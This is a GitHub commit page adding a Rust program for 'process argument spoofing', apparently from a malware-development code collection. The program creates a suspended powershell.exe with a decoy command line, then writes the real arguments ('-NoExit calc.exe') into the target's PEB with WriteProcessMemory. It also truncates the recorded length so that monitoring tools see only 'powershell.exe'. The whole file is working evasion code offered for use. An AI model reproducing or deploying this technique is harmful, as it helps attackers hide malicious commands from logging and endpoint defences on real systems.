Skip to content

Commit 45e9a08

Browse files
committed
Process Argument Spoofing
1 parent 6459d01 commit 45e9a08

File tree

1 file changed

+311
-0
lines changed

1 file changed

+311
-0
lines changed

Process/argument_spoofing.rs

Lines changed: 311 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,311 @@
1+
/*
2+
Process Argument Spoofing from Scratch ;)
3+
For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
4+
@5mukx
5+
6+
*/
7+
8+
use std::ptr::null_mut;
9+
use memoffset::offset_of;
10+
use ntapi::{ntpsapi::ProcessBasicInformation, ntrtl::RTL_USER_PROCESS_PARAMETERS};
11+
12+
use winapi::{ctypes::c_void,
13+
shared::ntdef::{NT_SUCCESS, UNICODE_STRING},
14+
um::{handleapi::CloseHandle,
15+
memoryapi::{ReadProcessMemory, WriteProcessMemory},
16+
processthreadsapi::ResumeThread,
17+
synchapi::WaitForSingleObject
18+
}
19+
};
20+
21+
use ntapi::ntpsapi::PEB_LDR_DATA;
22+
use ntapi::ntpsapi::{NtQueryInformationProcess, PROCESS_BASIC_INFORMATION};
23+
use winapi::um::{errhandlingapi::GetLastError, processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW}};
24+
// use windows_sys::w;
25+
26+
27+
macro_rules! okey {
28+
($msg:expr, $($arg:expr), *) => {
29+
println!("\\_____[+] {}", format!($msg, $($arg), *));
30+
}
31+
}
32+
33+
macro_rules! error{
34+
($msg:expr, $($arg:expr), *) => {
35+
println!("\\_____[-] {}", format!($msg, $($arg), *));
36+
println!("Exiting ...");
37+
}
38+
}
39+
40+
macro_rules! wide_string {
41+
($s:literal) => {{
42+
const INPUT: &[u8] = $s.as_bytes();
43+
let output_len = utf16_len(INPUT) + 1;
44+
let mut buffer = vec![0; output_len];
45+
let mut input_pos = 0;
46+
let mut output_pos = 0;
47+
while let Some((mut code_point, new_pos)) = decode_utf8_char(INPUT, input_pos) {
48+
input_pos = new_pos;
49+
if code_point <= 0xffff {
50+
buffer[output_pos] = code_point as u16;
51+
output_pos += 1;
52+
} else {
53+
code_point -= 0x10000;
54+
buffer[output_pos] = 0xd800 + (code_point >> 10) as u16;
55+
output_pos += 1;
56+
buffer[output_pos] = 0xdc00 + (code_point & 0x3ff) as u16;
57+
output_pos += 1;
58+
}
59+
}
60+
buffer.as_ptr()
61+
}};
62+
}
63+
64+
pub const fn utf16_len(bytes: &[u8]) -> usize {
65+
let mut pos = 0;
66+
let mut len = 0;
67+
while let Some((code_point, new_pos)) = decode_utf8_char(bytes, pos) {
68+
pos = new_pos;
69+
len += if code_point <= 0xffff { 1 } else { 2 };
70+
}
71+
len
72+
}
73+
74+
pub const fn decode_utf8_char(bytes: &[u8], mut pos: usize) -> Option<(u32, usize)> {
75+
if bytes.len() == pos {
76+
return None;
77+
}
78+
let ch = bytes[pos] as u32;
79+
pos += 1;
80+
if ch <= 0x7f {
81+
return Some((ch, pos));
82+
}
83+
if (ch & 0xe0) == 0xc0 {
84+
if bytes.len() - pos < 1 {
85+
return None;
86+
}
87+
let ch2 = bytes[pos] as u32;
88+
pos += 1;
89+
if (ch2 & 0xc0) != 0x80 {
90+
return None;
91+
}
92+
let result: u32 = ((ch & 0x1f) << 6) | (ch2 & 0x3f);
93+
if result <= 0x7f {
94+
return None;
95+
}
96+
return Some((result, pos));
97+
}
98+
if (ch & 0xf0) == 0xe0 {
99+
if bytes.len() - pos < 2 {
100+
return None;
101+
}
102+
let ch2 = bytes[pos] as u32;
103+
pos += 1;
104+
let ch3 = bytes[pos] as u32;
105+
pos += 1;
106+
if (ch2 & 0xc0) != 0x80 || (ch3 & 0xc0) != 0x80 {
107+
return None;
108+
}
109+
let result = ((ch & 0x0f) << 12) | ((ch2 & 0x3f) << 6) | (ch3 & 0x3f);
110+
if result <= 0x7ff || (0xd800 <= result && result <= 0xdfff) {
111+
return None;
112+
}
113+
return Some((result, pos));
114+
}
115+
if (ch & 0xf8) == 0xf0 {
116+
if bytes.len() - pos < 3 {
117+
return None;
118+
}
119+
let ch2 = bytes[pos] as u32;
120+
pos += 1;
121+
let ch3 = bytes[pos] as u32;
122+
pos += 1;
123+
let ch4 = bytes[pos] as u32;
124+
pos += 1;
125+
if (ch2 & 0xc0) != 0x80 || (ch3 & 0xc0) != 0x80 || (ch4 & 0xc0) != 0x80 {
126+
return None;
127+
}
128+
let result = ((ch & 0x07) << 18) | ((ch2 & 0x3f) << 12) | ((ch3 & 0x3f) << 6) | (ch4 & 0x3f);
129+
if result <= 0xffff || 0x10ffff < result {
130+
return None;
131+
}
132+
return Some((result, pos));
133+
}
134+
None
135+
}
136+
137+
#[allow(non_camel_case_types)]
138+
pub type PPS_POST_PROCESS_INIT_ROUTINE = Option<unsafe extern "system" fn()>;
139+
140+
#[allow(non_snake_case)]
141+
#[repr(C)]
142+
pub struct PEB {
143+
pub Reserved1: [u8; 2],
144+
pub BeingDebugged: u8,
145+
pub Reserved2: [u8; 1],
146+
pub Reserved3: [*mut c_void; 2],
147+
pub Ldr: *mut PEB_LDR_DATA,
148+
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
149+
pub Reserved4: [*mut c_void; 3],
150+
pub AtlThunkSListPtr: *mut c_void,
151+
pub Reserved5: *mut c_void,
152+
pub Reserved6: u32,
153+
pub Reserved7: *mut c_void,
154+
pub Reserved8: u32,
155+
pub AtlThunkSListPtr32: u32,
156+
pub Reserved9: [*mut c_void; 45],
157+
pub Reserved10: [u8; 96],
158+
pub PostProcessInitRoutine: PPS_POST_PROCESS_INIT_ROUTINE,
159+
pub Reserved11: [u8; 128],
160+
pub Reserved12: [*mut c_void; 1],
161+
pub SessionId: u32,
162+
}
163+
164+
165+
fn main(){
166+
unsafe{
167+
let mut startup_info: STARTUPINFOW = std::mem::zeroed();
168+
startup_info.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
169+
170+
let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();
171+
172+
// let command_line = CString::new("powershell.exe args spoofing").expect("Unable to convert into null-bytes");
173+
let mut command_line:Vec<u16> = "powershell.exe argument spoofing\0".encode_utf16().collect();
174+
// let mut command_line: Vec<u16> = "powershell.exe ping -n 50 google.com\0".encode_utf16().collect();
175+
176+
let create_process = CreateProcessW(
177+
null_mut(),
178+
command_line.as_mut_ptr() as *mut u16,
179+
null_mut(),
180+
null_mut(),
181+
0,
182+
0x00000004 | 0x08000000,
183+
null_mut(),
184+
wide_string!("C:\\Windows\\System32"),
185+
&mut startup_info,
186+
&mut process_info,
187+
);
188+
189+
if create_process == 0{
190+
error!("CreateProcessW Failed with errror: {}", GetLastError());
191+
return;
192+
}
193+
194+
okey!("Targert Process ID: {}", process_info.dwProcessId);
195+
196+
let hprocess = process_info.hProcess;
197+
let hthread = process_info.hThread;
198+
199+
200+
let mut pbi: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
201+
let mut return_len: u32 = 0;
202+
203+
let nt_status = NtQueryInformationProcess(
204+
hprocess,
205+
ProcessBasicInformation,
206+
&mut pbi as *mut PROCESS_BASIC_INFORMATION as *mut c_void,
207+
std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as u32 ,
208+
&mut return_len,
209+
);
210+
211+
if !NT_SUCCESS(nt_status) {
212+
error!("NtQueryInformationProcess failed with status: {}", nt_status);
213+
ClosePT(hprocess, hthread);
214+
return;
215+
}
216+
217+
okey!("Address to PEB: {:?}",pbi.PebBaseAddress);
218+
219+
let mut ppeb: PEB = std::mem::zeroed();
220+
let mut p_params: RTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();
221+
222+
223+
let mut bytes_read: usize = 0;
224+
225+
let success = ReadProcessMemory(
226+
hprocess,
227+
pbi.PebBaseAddress as *mut c_void,
228+
&mut ppeb as *mut _ as *mut c_void,
229+
std::mem::size_of::<PEB>(),
230+
&mut bytes_read,
231+
);
232+
233+
if success == 0{
234+
error!("ReadProcessMemory (1) faied: {}", GetLastError());
235+
ClosePT(hprocess, hthread);
236+
return;
237+
}
238+
239+
// using ppeb
240+
let success = ReadProcessMemory(
241+
hprocess,
242+
ppeb.ProcessParameters as *const c_void,
243+
&mut p_params as *mut _ as *mut c_void,
244+
std::mem::size_of::<RTL_USER_PROCESS_PARAMETERS>() + 255,
245+
null_mut(),
246+
);
247+
248+
if success == 0{
249+
error!("ReadProcessMemory (1) faied: {}", GetLastError());
250+
ClosePT(hprocess, hthread);
251+
return;
252+
}
253+
254+
255+
let reajust_argument: Vec<u16> = "powershell.exe -NoExit calc.exe\0".encode_utf16().collect();
256+
257+
let success = WriteProcessMemory(
258+
hprocess,
259+
p_params.CommandLine.Buffer as _,
260+
reajust_argument.as_ptr() as _,
261+
reajust_argument.len() * std::mem::size_of::<u16>() +1,
262+
null_mut(),
263+
);
264+
265+
if success == 0 {
266+
error!("WriteProcessMemory (1) failed with error: {}",GetLastError());
267+
ClosePT(hprocess, hthread);
268+
return;
269+
}
270+
271+
// let new_len_power: u32 = "powershell.exe\0".len() as u32;
272+
let new_len_power: usize = "powershell.exe\0".encode_utf16().count() * std::mem::size_of::<u16>();
273+
let written = ppeb.ProcessParameters as usize + offset_of!(RTL_USER_PROCESS_PARAMETERS, CommandLine)
274+
+ offset_of!(UNICODE_STRING, Length);
275+
//
276+
// let offset = ppeb.
277+
278+
let success = WriteProcessMemory(
279+
hprocess,
280+
written as *mut c_void,
281+
&new_len_power as *const _ as *const c_void,
282+
std::mem::size_of::<u32>(),
283+
null_mut(),
284+
);
285+
286+
if success == 0 {
287+
error!("WriteProcessMemory (2) failed with error: {}",GetLastError());
288+
ClosePT(hprocess, hthread);
289+
return;
290+
}
291+
292+
okey!("Thread Executed {}",'!');
293+
294+
ResumeThread(hthread);
295+
WaitForSingleObject(hthread, 0xFFFFFFFF);
296+
297+
CloseHandle(hprocess);
298+
CloseHandle(hthread);
299+
}
300+
}
301+
302+
#[allow(non_snake_case)]
303+
fn ClosePT(hprocess: *mut c_void, hthread: *mut c_void){
304+
unsafe{
305+
// TerminateProcess(hprocess, 0);
306+
CloseHandle(hprocess);
307+
CloseHandle(hthread);
308+
}
309+
// std::process::exit(0);
310+
311+
}

0 commit comments

Comments
 (0)